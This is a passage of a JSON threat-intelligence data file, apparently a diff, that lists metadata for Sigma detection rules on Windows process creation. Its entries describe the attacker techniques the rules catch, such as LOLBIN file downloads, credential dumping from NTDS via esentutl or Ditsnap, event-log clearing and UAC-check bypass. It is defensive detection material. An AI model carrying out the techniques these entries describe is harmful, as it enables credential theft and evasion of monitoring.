"logsource.product": "windows" - } - }, - { - "description": "Detects suspicious command line to remove and 'exe' or 'dll'", - "uuid": "204b17ae-4007-471b-917b-b917b315c5db", - "value": "Suspicious Del in CommandLine", - "meta": { - "refs": [ - "https://www.joesandbox.com/analysis/509330/0/html#1044F3BDBE3BB6F734E357235F4D5898582D", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_del.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070.004" - ], - "creation_date": "2021/12/02", - "filename": "proc_creation_win_susp_del.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a suspicious Microsoft desktopimgdownldr execution with parameters used to download files from the Internet", - "uuid": "bb58aa4a-b80b-415a-a2c0-2f65a4c81009", - "value": "Suspicious Desktopimgdownldr Command", - "meta": { - "refs": [ - "https://labs.sentinelone.com/living-off-windows-land-a-new-native-file-downldr/", - "https://twitter.com/SBousseaden/status/1278977301745741825", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_desktopimgdownldr.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1105" - ], - "creation_date": "2020/07/03", - "filename": "proc_creation_win_susp_desktopimgdownldr.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "False positives depend on scripts and administrative tools used in the monitored environment" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a certain command line flag combination used by devinit.exe lolbin to download arbitrary MSI packages on a Windows system", - "uuid": "90d50722-0483-4065-8e35-57efaadd354d", - "value": "DevInit Lolbin Download", - "meta": { - "refs": [ - "https://twitter.com/mrd0x/status/1460815932402679809", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_devinit_lolbin.yml" - ], - "tags": [ - "attack.execution", - "attack.defense_evasion", - "attack.t1218" - ], - "creation_date": "2022/01/11", - "filename": "proc_creation_win_susp_devinit_lolbin.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "The Devtoolslauncher.exe executes other binary", - "uuid": "cc268ac1-42d9-40fd-9ed3-8c4e1a5b87e6", - "value": "Devtoolslauncher.exe Executes Specified Binary", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Devtoolslauncher/", - "https://twitter.com/_felamos/status/1179811992841797632", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_devtoolslauncher.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ], - "creation_date": "2019/10/12", - "filename": "proc_creation_win_susp_devtoolslauncher.yml", - "author": "Beyu Denis, oscd.community (rule), @_felamos (idea)", - "level": "high", - "falsepositive": [ - "Legitimate use of devtoolslauncher.exe by legitimate user" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects usage of the \"dir\" command that's part of windows batch/cmd to collect information about directories", - "uuid": "7c9340a9-e2ee-4e43-94c5-c54ebbea1006", - "value": "Suspicious DIR Execution", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1217/T1217.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_dir.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1217" - ], - "creation_date": "2021/12/13", - "filename": "proc_creation_win_susp_dir.yml", - "author": "frack113", - "level": "low", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects direct modification of autostart extensibility point (ASEP) in registry using reg.exe.", - "uuid": "24357373-078f-44ed-9ac4-6d334a668a11", - "value": "Direct Autorun Keys Modification", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_direct_asep_reg_keys_modification.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1547.001" - ], - "creation_date": "2019/10/25", - "filename": "proc_creation_win_susp_direct_asep_reg_keys_modification.yml", - "author": "Victor Sergeev, Daniil Yugoslavskiy, oscd.community", - "level": "medium", - "falsepositive": [ - "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reasons.", - "Legitimate administrator sets up autorun keys for legitimate reasons.", - "Discord" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects command that is used to disable or delete Windows eventlog via logman Windows utility", - "uuid": "cd1f961e-0b96-436b-b7c6-38da4583ec00", - "value": "Disable or Delete Windows Eventlog", - "meta": { - "refs": [ - "https://twitter.com/0gtweet/status/1359039665232306183?s=21", - "https://ss64.com/nt/logman.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_disable_eventlog.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001", - "attack.t1070.001" - ], - "creation_date": "2021/02/11", - "filename": "proc_creation_win_susp_disable_eventlog.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Legitimate deactivation by administrative staff", - "Installer tools that disable services, e.g. before log collection agent installation" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects command lines that indicate unwanted modifications to registry keys that disable important Internet Explorer security features", - "uuid": "fb50eb7a-5ab1-43ae-bcc9-091818cb8424", - "value": "Disabled IE Security Features", - "meta": { - "refs": [ - "https://unit42.paloaltonetworks.com/operation-ke3chang-resurfaces-with-new-tidepool-malware/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_disable_ie_features.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ], - "creation_date": "2020/06/19", - "filename": "proc_creation_win_susp_disable_ie_features.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown, maybe some security software installer disables these features temporarily" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects commands that indicate a Raccine removal from an end system. Raccine is a free ransomware protection tool.", - "uuid": "a31eeaed-3fd5-478e-a8ba-e62c6b3f9ecc", - "value": "Raccine Uninstall", - "meta": { - "refs": [ - "https://github.com/Neo23x0/Raccine", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_disable_raccine.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ], - "creation_date": "2021/01/21", - "filename": "proc_creation_win_susp_disable_raccine.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Legitimate deinstallation by administrative staff" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects using Diskshadow.exe to execute arbitrary code in text file", - "uuid": "0c2f8629-7129-4a8a-9897-7e0768f13ff2", - "value": "Execution via Diskshadow.exe", - "meta": { - "refs": [ - "https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/", - "https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_diskshadow.yml" - ], - "tags": [ - "attack.execution", - "attack.t1218" - ], - "creation_date": "2020/10/07", - "filename": "proc_creation_win_susp_diskshadow.yml", - "author": "Ivan Dyachkov, oscd.community", - "level": "high", - "falsepositive": [ - "False postitve can be if administrators use diskshadow tool in their infrastructure as a main backup tool with scripts." - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of Ditsnap tool. Seems to be a tool for ransomware groups.", - "uuid": "d3b70aad-097e-409c-9df2-450f80dc476b", - "value": "DIT Snapshot Viewer Use", - "meta": { - "refs": [ - "https://thedfirreport.com/2020/06/21/snatch-ransomware/", - "https://github.com/yosqueoy/ditsnap", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ditsnap.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.003" - ], - "creation_date": "2020/07/04", - "filename": "proc_creation_win_susp_ditsnap.yml", - "author": "Furkan Caliskan (@caliskanfurkan_)", - "level": "high", - "falsepositive": [ - "Legitimate admin usage" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a \"dllhost\" spawning with no commandline arguments which is a very rare thing to happen and could indicate process injection activity or malware mimicking similar system processes", - "uuid": "e7888eb1-13b0-4616-bd99-4bc0c2b054b9", - "value": "Dllhost Process With No CommandLine", - "meta": { - "refs": [ - "https://redcanary.com/blog/child-processes/", - "https://nasbench.medium.com/what-is-the-dllhost-exe-process-actually-running-ef9fe4c19c08", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_dllhost_no_cli.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1055" - ], - "creation_date": "2022/06/27", - "filename": "proc_creation_win_susp_dllhost_no_cli.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Execute C# code located in the consoleapp folder", - "uuid": "81ebd28b-9607-4478-bf06-974ed9d53ed7", - "value": "Application Whitelisting Bypass via Dnx.exe", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Csi/", - "https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_dnx.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218", - "attack.t1027.004" - ], - "creation_date": "2019/10/26", - "filename": "proc_creation_win_susp_dnx.yml", - "author": "Beyu Denis, oscd.community", - "level": "medium", - "falsepositive": [ - "Legitimate use of dnx.exe by legitimate user" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious use of an .exe extension after a non-executable file extension like .pdf.exe, a set of spaces or underlines to cloak the executable file in spear phishing campaigns", - "uuid": "1cdd9a09-06c9-4769-99ff-626e2b3991b8", - "value": "Suspicious Double Extension", - "meta": { - "refs": [ - "https://blu3-team.blogspot.com/2019/06/misleading-extensions-xlsexe-docexe.html", - "https://twitter.com/blackorbird/status/1140519090961825792", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_double_extension.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1566.001" - ], - "creation_date": "2019/06/26", - "filename": "proc_creation_win_susp_double_extension.yml", - "author": "Florian Roth (rule), @blu3_team (idea)", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious ways to download files from Microsoft domains that are used to store attachments in Emails or OneNote documents", - "uuid": "00d49ed5-4491-4271-a8db-650a4ef6f8c1", - "value": "Suspicious Download from Office Domain", - "meta": { - "refs": [ - "https://twitter.com/an0n_r0/status/1474698356635193346?s=12", - "https://twitter.com/mrd0x/status/1475085452784844803?s=12", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_download_office_domain.yml" - ], - "tags": "No established tags", - "creation_date": "2021/12/27", - "filename": "proc_creation_win_susp_download_office_domain.yml", - "author": "Florian Roth, Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Scripts or tools that download attachments from these domains (OneNote, Outlook 365)" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious way to dump the kernel on Windows systems using dtrace.exe, which is available on Windows systems since Windows 10 19H1", - "uuid": "7124aebe-4cd7-4ccb-8df0-6d6b93c96795", - "value": "Suspicious Kernel Dump Using Dtrace", - "meta": { - "refs": [ - "https://twitter.com/0gtweet/status/1474899714290208777?s=12", - "https://docs.microsoft.com/en-us/windows-hardware/drivers/devtest/dtrace", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_dtrace_kernel_dump.yml" - ], - "tags": "No established tags", - "creation_date": "2021/12/28", - "filename": "proc_creation_win_susp_dtrace_kernel_dump.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious child processes of electron apps (teams, discord, slack...).\nThis could be a potential sign of \".asar\" file tampering (See reference section for more information)\n", - "uuid": "f26eb764-fd89-464b-85e2-dc4a8e6e77b8", - "value": "Suspicious Electron Application Child Processes", - "meta": { - "refs": [ - "https://taggart-tech.com/quasar-electron/", - "https://github.com/mttaggart/quasar", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_electron_app_children.yml" - ], - "tags": [ - "attack.execution" - ], - "creation_date": "2022/10/21", - "filename": "proc_creation_win_susp_electron_app_children.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detecting Emotet DLL loading by looking for rundll32.exe processes with command lines ending in ,RunDLL or ,Control_RunDLL", - "uuid": "54e57ce3-0672-46eb-a402-2c0948d5e3e9", - "value": "Emotet RunDLL32 Process Creation", - "meta": { - "refs": [ - "https://paste.cryptolaemus.com/emotet/2020/12/22/emotet-malware-IoCs_12-22-20.html", - "https://cyber.wtf/2021/11/15/guess-whos-back/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_emotet_rundll32_execution.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.011" - ], - "creation_date": "2020/12/25", - "filename": "proc_creation_win_susp_emotet_rundll32_execution.yml", - "author": "FPT.EagleEye", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Conti recommendation to its affiliates to use esentutl to access NTDS dumped file. Trickbot also uses this utilities to get MSEdge info via its module pwgrab.", - "uuid": "7df1713a-1a5b-4a4b-a071-dc83b144a101", - "value": "Esentutl Gather Credentials", - "meta": { - "refs": [ - "https://twitter.com/vxunderground/status/1423336151860002816", - "https://attack.mitre.org/software/S0404/", - "https://thedfirreport.com/2021/08/01/bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_esentutl_params.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003", - "attack.t1003.003" - ], - "creation_date": "2021/08/06", - "filename": "proc_creation_win_susp_esentutl_params.yml", - "author": "sam0x90", - "level": "medium", - "falsepositive": [ - "To be determined" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects clearing or configuration of eventlogs using wevtutil, powershell and wmic. Might be used by ransomwares during the attack (seen by NotPetya and others).", - "uuid": "cc36992a-4671-4f21-a91d-6c2b72a2edf5", - "value": "Suspicious Eventlog Clear or Configuration Using Wevtutil", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.001/T1070.001.md", - "https://eqllib.readthedocs.io/en/latest/analytics/5b223758-07d6-4100-9e11-238cfdd0fe97.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_eventlog_clear.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070.001", - "car.2016-04-002" - ], - "creation_date": "2019/09/26", - "filename": "proc_creation_win_susp_eventlog_clear.yml", - "author": "Ecco, Daniil Yugoslavskiy, oscd.community", - "level": "high", - "falsepositive": [ - "Admin activity", - "Scripts and administrative tools used in the monitored environment" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a suspicious execution from an uncommon folder", - "uuid": "3dfd06d2-eaf4-4532-9555-68aca59f57c4", - "value": "Execution from Suspicious Folder", - "meta": { - "refs": [ - "https://github.com/mbevilacqua/appcompatprocessor/blob/6c847937c5a836e2ce2fe2b915f213c345a3c389/AppCompatSearch.txt", - "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses", - "https://www.crowdstrike.com/resources/reports/2019-crowdstrike-global-threat-report/", - "https://github.com/ThreatHuntingProject/ThreatHunting/blob/cb22598bb70651f88e0285abc8d835757d2cb596/hunts/suspicious_process_creation_via_windows_event_logs.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_execution_path.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036" - ], - "creation_date": "2019/01/16", - "filename": "proc_creation_win_susp_execution_path.yml", - "author": "Florian Roth, Tim Shelton", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a suspicious program execution in a web service root folder (filter out false positives)", - "uuid": "35efb964-e6a5-47ad-bbcd-19661854018d", - "value": "Execution in Webserver Root Folder", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_execution_path_webserver.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1505.003" - ], - "creation_date": "2019/01/16", - "filename": "proc_creation_win_susp_execution_path_webserver.yml", - "author": "Florian Roth", - "level": "medium", - "falsepositive": [ - "Various applications", - "Tools that include ping or nslookup command invocations" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Attackers can use explorer.exe for evading defense mechanisms", - "uuid": "9eb271b9-24ae-4cd4-9465-19cfc1047f3e", - "value": "Proxy Execution Via Explorer.exe", - "meta": { - "refs": [ - "https://twitter.com/CyberRaiju/status/1273597319322058752", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_explorer.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ], - "creation_date": "2020/10/05", - "filename": "proc_creation_win_susp_explorer.yml", - "author": "Furkan CALISKAN, @caliskanfurkan_, @oscd_initiative", - "level": "low", - "falsepositive": [ - "Legitimate explorer.exe run from cmd.exe" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a command line process that uses explorer.exe to launch arbitrary commands or binaries,\nwhich is similar to cmd.exe /c, only it breaks the process tree and makes its parent a new instance of explorer spawning from \"svchost\"\n", - "uuid": "949f1ffb-6e85-4f00-ae1e-c3c5b190d605", - "value": "Explorer Process Tree Break", - "meta": { - "refs": [ - "https://twitter.com/CyberRaiju/status/1273597319322058752", - "https://twitter.com/bohops/status/1276357235954909188?s=12", - "https://twitter.com/nas_bench/status/1535322450858233858", - "https://securityboulevard.com/2019/09/deobfuscating-ostap-trickbots-34000-line-javascript-downloader/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_explorer_break_proctree.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036" - ], - "creation_date": "2019/06/29", - "filename": "proc_creation_win_susp_explorer_break_proctree.yml", - "author": "Florian Roth, Nasreddine Bencherchali, @gott_cyber", - "level": "medium", - "falsepositive": [ - "Unknown how many legitimate software products use that method" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious starts of explorer.exe that use the /NOUACCHECK flag that allows to run all sub processes of that newly started explorer.exe without any UAC checks", - "uuid": "534f2ef7-e8a2-4433-816d-c91bccde289b", - "value": "Explorer NOUACCHECK Flag", - "meta": { - "refs": [ - "https://twitter.com/ORCA6665/status/1496478087244095491", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_explorer_nouaccheck.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1548.002" - ], - "creation_date": "2022/02/23", - "filename": "proc_creation_win_susp_explorer_nouaccheck.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Domain Controller User Logon", - "Unknown how many legitimate software products use that method" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects Executables in the Downloads folder without FileVersion,Description,Product,Company likely created with py2exe", - "uuid": "9637e8a5-7131-4f7f-bdc7-2b05d8670c43", - "value": "Suspicious File Characteristics Due to Missing Fields", - "meta": { - "refs": [ - "https://securelist.com/muddywater/88059/", - "https://www.virustotal.com/#/file/276a765a10f98cda1a38d3a31e7483585ca3722ecad19d784441293acf1b7beb/detection", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_file_characteristics.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.006" - ], - "creation_date": "2018/11/22", - "filename": "proc_creation_win_susp_file_characteristics.yml", - "author": "Markus Neis, Sander Wiebing", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects when GfxDownloadWrapper.exe downloads file from non standard URL", - "uuid": "eee00933-a761-4cd0-be70-c42fe91731e7", - "value": "GfxDownloadWrapper.exe Downloads File from Suspicious URL", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/GfxDownloadWrapper/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_file_download_via_gfxdownloadwrapper.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1105" - ], - "creation_date": "2020/10/09", - "filename": "proc_creation_win_susp_file_download_via_gfxdownloadwrapper.yml", - "author": "Victor Sergeev, oscd.community", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Discovery of an installed Sysinternals Sysmon service using driver altitude (even if the name is changed).", - "uuid": "37db85d1-b089-490a-a59a-c7b6f984f480", - "value": "Suspicious Findstr 385201 Execution", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518.001/T1518.001.md#atomic-test-5---security-software-discovery---sysmon-service", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_findstr_385201.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1518.001" - ], - "creation_date": "2021/12/16", - "filename": "proc_creation_win_susp_findstr_385201.yml", - "author": "frack113", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects usage of findstr to identify and execute a lnk file as seen within the HHS redirect attack", - "uuid": "33339be3-148b-4e16-af56-ad16ec6c7e7b", - "value": "Findstr Launching .lnk File", - "meta": { - "refs": [ - "https://www.bleepingcomputer.com/news/security/hhsgov-open-redirect-used-by-coronavirus-phishing-to-spread-malware/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_findstr_lnk.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036", - "attack.t1202", - "attack.t1027.003" - ], - "creation_date": "2020/05/01", - "filename": "proc_creation_win_susp_findstr_lnk.yml", - "author": "Trent Liffick", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious aged finger.exe tool execution often used in malware attacks nowadays", - "uuid": "af491bca-e752-4b44-9c86-df5680533dbc", - "value": "Finger.exe Suspicious Invocation", - "meta": { - "refs": [ - "https://twitter.com/bigmacjpg/status/1349727699863011328?s=12", - "https://app.any.run/tasks/40115012-a919-4208-bfed-41e82cb3dadf/", - "http://hyp3rlinx.altervista.org/advisories/Windows_TCPIP_Finger_Command_C2_Channel_and_Bypassing_Security_Software.txt", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_finger_usage.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1105" - ], - "creation_date": "2021/02/24", - "filename": "proc_creation_win_susp_finger_usage.yml", - "author": "Florian Roth, omkar72, oscd.community", - "level": "high", - "falsepositive": [ - "Admin activity (unclear what they do nowadays with finger.exe)" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the execution of format.com with a suspicious filesystem selection that could indicate a defense evasion activity in which format.com is used to load malicious DLL files or other programs", - "uuid": "9fb6b26e-7f9e-4517-a48b-8cac4a1b6c60", - "value": "Format.com FileSystem LOLBIN", - "meta": { - "refs": [ - "https://twitter.com/0gtweet/status/1477925112561209344", - "https://twitter.com/wdormann/status/1478011052130459653?s=20", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_format.yml" - ], - "tags": [ - "attack.defense_evasion" - ], - "creation_date": "2022/01/04", - "filename": "proc_creation_win_susp_format.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious parameters of fsutil (deleting USN journal, configuring it with small size, etc).\nMight be used by ransomwares during the attack (seen by NotPetya and others).\n", - "uuid": "add64136-62e5-48ea-807e-88638d02df1e", - "value": "Fsutil Suspicious Invocation", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil-usn", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070/T1070.md", - "https://eqllib.readthedocs.io/en/latest/analytics/c91f422a-5214-4b17-8664-c5fcf115c0a2.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_fsutil_usage.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070" - ], - "creation_date": "2019/09/26", - "filename": "proc_creation_win_susp_fsutil_usage.yml", - "author": "Ecco, E.M. Anhaus, oscd.community", - "level": "high", - "falsepositive": [ - "Admin activity", - "Scripts and administrative tools used in the monitored environment" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects cases in which a user uses the built-in Windows utility gpresult to display the Resultant Set of Policy (RSoP) information", - "uuid": "e56d3073-83ff-4021-90fe-c658e0709e72", - "value": "Gpresult Display Group Policy Information", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1615/T1615.md", - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/gpresult", - "https://unit42.paloaltonetworks.com/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/", - "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_gpresult.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1615" - ], - "creation_date": "2022/05/01", - "filename": "proc_creation_win_susp_gpresult.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects creation of a scheduled task with a GUID like name", - "uuid": "ff2fff64-4cd6-4a2b-ba7d-e28a30bbe66b", - "value": "Suspicious Scheduled Task Name As GUID", - "meta": { - "refs": [ - "https://thedfirreport.com/2022/10/31/follina-exploit-leads-to-domain-compromise/", - "https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_guid_task_name.yml" - ], - "tags": [ - "attack.execution", - "attack.t1053.005" - ], - "creation_date": "2022/10/31", - "filename": "proc_creation_win_susp_guid_task_name.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Legitimate software naming their tasks as GUIDs" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects execution of the Notepad++ updater in a suspicious directory, which is often used in DLL side-loading attacks", - "uuid": "0a4f6091-223b-41f6-8743-f322ec84930b", - "value": "Suspicious GUP Usage", - "meta": { - "refs": [ - "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_gup.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1574.002" - ], - "creation_date": "2019/02/06", - "filename": "proc_creation_win_susp_gup.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Execution of tools named GUP.exe and located in folders different than Notepad++\\updater" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects execution of the Notepad++ updater (gup) from a process other than Notepad++ to download files.", - "uuid": "44143844-0631-49ab-97a0-96387d6b2d7c", - "value": "Download Files Using Notepad++ GUP Utility", - "meta": { - "refs": [ - "https://twitter.com/nas_bench/status/1535322182863179776", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_gup_download.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1105" - ], - "creation_date": "2022/06/10", - "filename": "proc_creation_win_susp_gup_download.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Other parent processes other than notepad++ using GUP that are not currently identified" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects execution of the Notepad++ updater (gup) to launch other commands or executables", - "uuid": "d65aee4d-2292-4cea-b832-83accd6cfa43", - "value": "Execute Arbitrary Binaries Using 